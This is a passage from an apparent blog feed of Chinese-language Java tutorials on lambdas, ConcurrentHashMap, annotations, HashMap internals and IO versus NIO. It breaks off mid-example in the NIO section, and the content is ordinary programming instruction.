方式</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; System.out.println(<span class="string">&quot;Running&quot;</span>)).start();</span><br></pre></td></tr></table></figure><h2 id="闭包与变量捕获"><a href="#闭包与变量捕获" class="headerlink" title="闭包与变量捕获"></a>闭包与变量捕获</h2><p>Lambda 可以捕获外部变量，但必须是 <strong>final 或 effectively final</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">factor</span> <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：factor 未被修改</span></span><br><span class="line">Function&lt;Integer, Integer&gt; multiplier = x -&gt; x * factor;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 错误：factor 被修改</span></span><br><span class="line">factor = <span class="number">3</span>;  <span class="comment">// 编译错误</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：捕获的是值，不是引用。对于对象，引用本身不能变，但对象状态可以变。</p><h2 id="复合函数"><a href="#复合函数" class="headerlink" title="复合函数"></a>复合函数</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Function&lt;Integer, Integer&gt; addOne = x -&gt; x + <span class="number">1</span>;</span><br><span class="line">Function&lt;Integer, Integer&gt; multiplyByTwo = x -&gt; x * <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 先执行 addOne，再执行 multiplyByTwo</span></span><br><span class="line">Function&lt;Integer, Integer&gt; combined = addOne.andThen(multiplyByTwo);</span><br><span class="line"><span class="comment">// 3 -&gt; addOne(3) = 4 -&gt; multiplyByTwo(4) = 8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 先执行 multiplyByTwo，再执行 addOne</span></span><br><span class="line">Function&lt;Integer, Integer&gt; composed = addOne.compose(multiplyByTwo);</span><br><span class="line"><span class="comment">// 3 -&gt; multiplyByTwo(3) = 6 -&gt; addOne(6) = 7</span></span><br></pre></td></tr></table></figure><h2 id="自定义函数式接口"><a href="#自定义函数式接口" class="headerlink" title="自定义函数式接口"></a>自定义函数式接口</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@FunctionalInterface</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">ThrowingConsumer</span>&lt;T, E <span class="keyword">extends</span> <span class="title class_">Exception</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">accept</span><span class="params">(T t)</span> <span class="keyword">throws</span> E;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 包装带异常的 Lambda</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> &lt;T, E <span class="keyword">extends</span> <span class="title class_">Exception</span>&gt; Consumer&lt;T&gt; <span class="title function_">wrap</span><span class="params">(</span></span><br><span class="line"><span class="params">        ThrowingConsumer&lt;T, E&gt; throwingConsumer)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> t -&gt; &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            throwingConsumer.accept(t);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line">list.forEach(wrap(item -&gt; &#123;</span><br><span class="line">    <span class="comment">// 可能抛出异常的操作</span></span><br><span class="line">    Files.write(path, item.getBytes());</span><br><span class="line">&#125;));</span><br></pre></td></tr></table></figure><h2 id="性能考量"><a href="#性能考量" class="headerlink" title="性能考量"></a>性能考量</h2><p>Lambda 并非语法糖，编译后生成 invokedynamic 字节码：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">// 编译后使用 invokedynamic</span><br><span class="line">invokedynamic #0:accept:()Ljava/util/function/Consumer;</span><br></pre></td></tr></table></figure><p>优势：</p><ul><li>运行时动态绑定，JVM 可以内联优化</li><li>避免每次创建匿名类实例</li></ul><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>保持简洁</strong>：Lambda 体不宜过长，复杂逻辑提取为方法</li><li><strong>使用方法引用</strong>：可读性更好</li><li><strong>避免副作用</strong>：不要在 Lambda 中修改外部状态</li><li><strong>类型推断</strong>：通常不需要显式声明参数类型</li><li><strong>链式操作</strong>：Stream API 结合 Lambda 使用</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 差的写法</span></span><br><span class="line">list.stream().forEach(item -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (item.isActive()) &#123;</span><br><span class="line">        item.process();</span><br><span class="line">        log.info(<span class="string">&quot;Processed: &quot;</span> + item.getId());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的写法</span></span><br><span class="line">list.stream()</span><br><span class="line">    .filter(Item::isActive)</span><br><span class="line">    .peek(item -&gt; log.info(<span class="string">&quot;Processing: &quot;</span> + item.getId()))</span><br><span class="line">    .forEach(Item::process);</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Lambda 表达式让 Java 代码更加简洁和函数式。配合 Stream API，可以大幅减少样板代码，提高可读性。掌握函数式接口和方法引用，是写出现代化 Java 代码的关键。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap-为什么适合并发场景"><a href="#ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="ConcurrentHashMap 为什么适合并发场景"></a>ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java注解与元注解的实现原理</title>
      <link href="//java-zhu-jie-yu-yuan-zhu-jie-de-shi-xian-yuan-li/"/>
      <url>//java-zhu-jie-yu-yuan-zhu-jie-de-shi-xian-yuan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="Java注解与元注解的实现原理"><a href="#Java注解与元注解的实现原理" class="headerlink" title="Java注解与元注解的实现原理"></a>Java注解与元注解的实现原理</h1><p>注解（Annotation）是 Java 5 引入的元数据机制，广泛应用于框架开发、代码生成和编译期检查。本文从基础用法到实现原理进行全面讲解。</p><h2 id="注解的基本定义"><a href="#注解的基本定义" class="headerlink" title="注解的基本定义"></a>注解的基本定义</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 自定义注解</span></span><br><span class="line"><span class="meta">@Target(ElementType.METHOD)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> LogExecution &#123;</span><br><span class="line">    String <span class="title function_">value</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">printParams</span><span class="params">()</span> <span class="keyword">default</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四大元注解"><a href="#四大元注解" class="headerlink" title="四大元注解"></a>四大元注解</h2><h3 id="1-Target：使用位置"><a href="#1-Target：使用位置" class="headerlink" title="1. @Target：使用位置"></a>1. @Target：使用位置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">ElementType</span> &#123;</span><br><span class="line">    TYPE,           <span class="comment">// 类、接口、枚举</span></span><br><span class="line">    FIELD,          <span class="comment">// 字段</span></span><br><span class="line">    METHOD,         <span class="comment">// 方法</span></span><br><span class="line">    PARAMETER,      <span class="comment">// 参数</span></span><br><span class="line">    CONSTRUCTOR,    <span class="comment">// 构造器</span></span><br><span class="line">    LOCAL_VARIABLE, <span class="comment">// 局部变量</span></span><br><span class="line">    ANNOTATION_TYPE,<span class="comment">// 注解</span></span><br><span class="line">    PACKAGE,        <span class="comment">// 包</span></span><br><span class="line">    TYPE_PARAMETER, <span class="comment">// 泛型参数（JDK 8+）</span></span><br><span class="line">    TYPE_USE        <span class="comment">// 类型使用（JDK 8+）</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-Retention：保留策略"><a href="#2-Retention：保留策略" class="headerlink" title="2. @Retention：保留策略"></a>2. @Retention：保留策略</h3><table><thead><tr><th>策略</th><th>说明</th><th>典型应用</th></tr></thead><tbody><tr><td>SOURCE</td><td>编译期丢弃</td><td>@Override, @SuppressWarnings</td></tr><tr><td>CLASS</td><td>保留到字节码，运行期丢弃</td><td>默认策略，少见</td></tr><tr><td>RUNTIME</td><td>运行期保留，可通过反射读取</td><td>@Autowired, @RequestMapping</td></tr></tbody></table><h3 id="3-Documented"><a href="#3-Documented" class="headerlink" title="3. @Documented"></a>3. @Documented</h3><p>包含在 Javadoc 中：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> ApiDoc &#123;</span><br><span class="line">    String <span class="title function_">description</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-Inherited"><a href="#4-Inherited" class="headerlink" title="4. @Inherited"></a>4. @Inherited</h3><p>子类自动继承父类注解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Inherited</span></span><br><span class="line"><span class="meta">@Target(ElementType.TYPE)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> ParentAnnotation &#123; &#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@ParentAnnotation</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Parent</span> &#123; &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Child</span> <span class="keyword">extends</span> <span class="title class_">Parent</span> &#123;</span><br><span class="line">    <span class="comment">// Child也拥有@ParentAnnotation</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注解的底层实现"><a href="#注解的底层实现" class="headerlink" title="注解的底层实现"></a>注解的底层实现</h2><h3 id="编译后的注解"><a href="#编译后的注解" class="headerlink" title="编译后的注解"></a>编译后的注解</h3><p>注解本质是一个继承 <code>java.lang.annotation.Annotation</code> 的接口：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译后</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">LogExecution</span> <span class="keyword">extends</span> <span class="title class_">Annotation</span> &#123;</span><br><span class="line">    String <span class="title function_">value</span><span class="params">()</span>;</span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">printParams</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="JDK-动态代理生成"><a href="#JDK-动态代理生成" class="headerlink" title="JDK 动态代理生成"></a>JDK 动态代理生成</h3><p>当通过反射获取注解时，JDK 会生成动态代理：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> clazz.getDeclaredMethod(<span class="string">&quot;doSomething&quot;</span>);</span><br><span class="line"><span class="type">LogExecution</span> <span class="variable">annotation</span> <span class="operator">=</span> method.getAnnotation(LogExecution.class);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 实际返回的是代理对象</span></span><br><span class="line">System.out.println(annotation.getClass());  <span class="comment">// class com.sun.proxy.$Proxy1</span></span><br></pre></td></tr></table></figure><p>代理类将方法调用转发给 <code>AnnotationInvocationHandler</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">AnnotationInvocationHandler</span> <span class="keyword">implements</span> <span class="title class_">InvocationHandler</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, Object&gt; memberValues;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">member</span> <span class="operator">=</span> method.getName();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> memberValues.get(member);</span><br><span class="line">        <span class="comment">// 返回注解属性值</span></span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="反射读取注解"><a href="#反射读取注解" class="headerlink" title="反射读取注解"></a>反射读取注解</h2><h3 id="类级别注解"><a href="#类级别注解" class="headerlink" title="类级别注解"></a>类级别注解</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 检查是否存在</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">hasAnnotation</span> <span class="operator">=</span> clazz.isAnnotationPresent(Service.class);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取注解</span></span><br><span class="line"><span class="type">Service</span> <span class="variable">service</span> <span class="operator">=</span> clazz.getAnnotation(Service.class);</span><br><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> service.value();</span><br></pre></td></tr></table></figure><h3 id="方法级别注解"><a href="#方法级别注解" class="headerlink" title="方法级别注解"></a>方法级别注解</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (Method method : clazz.getDeclaredMethods()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (method.isAnnotationPresent(Transactional.class)) &#123;</span><br><span class="line">        <span class="type">Transactional</span> <span class="variable">tx</span> <span class="operator">=</span> method.getAnnotation(Transactional.class);</span><br><span class="line">        System.out.println(<span class="string">&quot;超时时间: &quot;</span> + tx.timeout());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="重复注解（JDK-8-）"><a href="#重复注解（JDK-8-）" class="headerlink" title="重复注解（JDK 8+）"></a>重复注解（JDK 8+）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 定义容器注解</span></span><br><span class="line"><span class="meta">@Target(ElementType.METHOD)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> Roles &#123;</span><br><span class="line">    Role[] value();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义可重复注解</span></span><br><span class="line"><span class="meta">@Target(ElementType.METHOD)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Repeatable(Roles.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> Role &#123;</span><br><span class="line">    String <span class="title function_">value</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="meta">@Role(&quot;ADMIN&quot;)</span></span><br><span class="line"><span class="meta">@Role(&quot;USER&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doSomething</span><span class="params">()</span> &#123; &#125;</span><br></pre></td></tr></table></figure><h2 id="实际应用场景"><a href="#实际应用场景" class="headerlink" title="实际应用场景"></a>实际应用场景</h2><h3 id="1-日志切面"><a href="#1-日志切面" class="headerlink" title="1. 日志切面"></a>1. 日志切面</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;@annotation(logExecution)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint pjp, LogExecution logExecution)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">start</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> pjp.proceed();</span><br><span class="line">        <span class="type">long</span> <span class="variable">cost</span> <span class="operator">=</span> System.currentTimeMillis() - start;</span><br><span class="line">        </span><br><span class="line">        System.out.println(<span class="string">&quot;方法 &quot;</span> + pjp.getSignature().getName() + </span><br><span class="line">                          <span class="string">&quot; 执行耗时: &quot;</span> + cost + <span class="string">&quot;ms&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-参数校验"><a href="#2-参数校验" class="headerlink" title="2. 参数校验"></a>2. 参数校验</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(ElementType.FIELD)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> NotNull &#123;</span><br><span class="line">    String <span class="title function_">message</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;字段不能为空&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 校验器</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Validator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">validate</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IllegalAccessException &#123;</span><br><span class="line">        <span class="keyword">for</span> (Field field : obj.getClass().getDeclaredFields()) &#123;</span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="keyword">if</span> (field.isAnnotationPresent(NotNull.class) &amp;&amp; field.get(obj) == <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">NotNull</span> <span class="variable">notNull</span> <span class="operator">=</span> field.getAnnotation(NotNull.class);</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ValidationException</span>(notNull.message());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-ORM-映射"><a href="#3-ORM-映射" class="headerlink" title="3. ORM 映射"></a>3. ORM 映射</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Entity</span></span><br><span class="line"><span class="meta">@Table(name = &quot;t_user&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="meta">@Id</span></span><br><span class="line">    <span class="meta">@GeneratedValue(strategy = GenerationType.IDENTITY)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Column(name = &quot;user_name&quot;, length = 50)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注解处理器（APT）"><a href="#注解处理器（APT）" class="headerlink" title="注解处理器（APT）"></a>注解处理器（APT）</h2><p>编译期处理注解，生成代码：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SupportedAnnotationTypes(&quot;com.example.AutoGenerate&quot;)</span></span><br><span class="line"><span class="meta">@SupportedSourceVersion(SourceVersion.RELEASE_11)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AutoGenerateProcessor</span> <span class="keyword">extends</span> <span class="title class_">AbstractProcessor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">process</span><span class="params">(Set&lt;? extends TypeElement&gt; annotations, RoundEnvironment roundEnv)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (Element element : roundEnv.getElementsAnnotatedWith(AutoGenerate.class)) &#123;</span><br><span class="line">            <span class="comment">// 生成代码</span></span><br><span class="line">            generateCode(element);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>知名应用</strong>：</p><ul><li>Lombok：编译期生成 getter/setter</li><li>Dagger：编译期生成依赖注入代码</li><li>MapStruct：编译期生成对象映射代码</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li><strong>注解是接口</strong>：编译后继承 Annotation</li><li><strong>运行期通过代理访问</strong>：JDK 动态代理生成注解实例</li><li><strong>元注解控制行为</strong>：Target、Retention、Documented、Inherited</li><li><strong>反射是读取注解的主要方式</strong>：getAnnotation、isAnnotationPresent</li><li><strong>APT 实现编译期处理</strong>：代码生成、编译期检查</li></ol><p>注解机制是 Java 框架开发的基石，Spring、JPA、JUnit 等都重度依赖注解实现声明式编程。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="HashMap-底层结构和扩容过程"><a href="#HashMap-底层结构和扩容过程" class="headerlink" title="HashMap 底层结构和扩容过程"></a>HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java IO与NIO的核心区别</title>
      <link href="//java-io-yu-nio-de-he-xin-qu-bie/"/>
      <url>//java-io-yu-nio-de-he-xin-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-IO与NIO的核心区别"><a href="#Java-IO与NIO的核心区别" class="headerlink" title="Java IO与NIO的核心区别"></a>Java IO与NIO的核心区别</h1><p>Java 提供了三套 IO  API：BIO（Blocking IO）、NIO（New IO）和 NIO.2（JDK 7+）。理解它们的差异对于高并发网络编程至关重要。</p><h2 id="BIO：传统阻塞IO"><a href="#BIO：传统阻塞IO" class="headerlink" title="BIO：传统阻塞IO"></a>BIO：传统阻塞IO</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 服务端</span></span><br><span class="line"><span class="type">ServerSocket</span> <span class="variable">server</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ServerSocket</span>(<span class="number">8080</span>);</span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="type">Socket</span> <span class="variable">socket</span> <span class="operator">=</span> server.accept();  <span class="comment">// 阻塞等待连接</span></span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> socket.getInputStream();</span><br><span class="line">            <span class="type">byte</span>[] buf = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">            <span class="type">int</span> len;</span><br><span class="line">            <span class="keyword">while</span> ((len = in.read(buf)) != -<span class="number">1</span>) &#123;  <span class="comment">// 阻塞等待数据</span></span><br><span class="line">                <span class="comment">// 处理数据</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;).start();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>一个连接一个线程</li><li>简单易用，适合连接数少的场景</li><li>线程上下文切换开销大</li></ul><h2 id="NIO：非阻塞IO"><a href="#NIO：非阻塞IO" class="headerlink" title="NIO：非阻塞IO"></a>NIO：非阻塞IO</h2><p>NIO 三大核心组件：</p><h3 id="1-Buffer（缓冲区）"><a href="#1-Buffer（缓冲区）" class="headerlink" title="1. Buffer（缓冲区）"></a>1. Buffer（缓冲区）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">ByteBuffer</span> <span class="variable">buffer</span> <span class="operator">=</span> ByteBuffer.allocate(<span class="number">1024</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写入数据到Buffer</span></span><br><span class="line">buffer.put(<span class="string">&quot;hello&quot;</span>.getBytes());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 切换为读模式</span></span><br><span class="line">buffer.flip();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 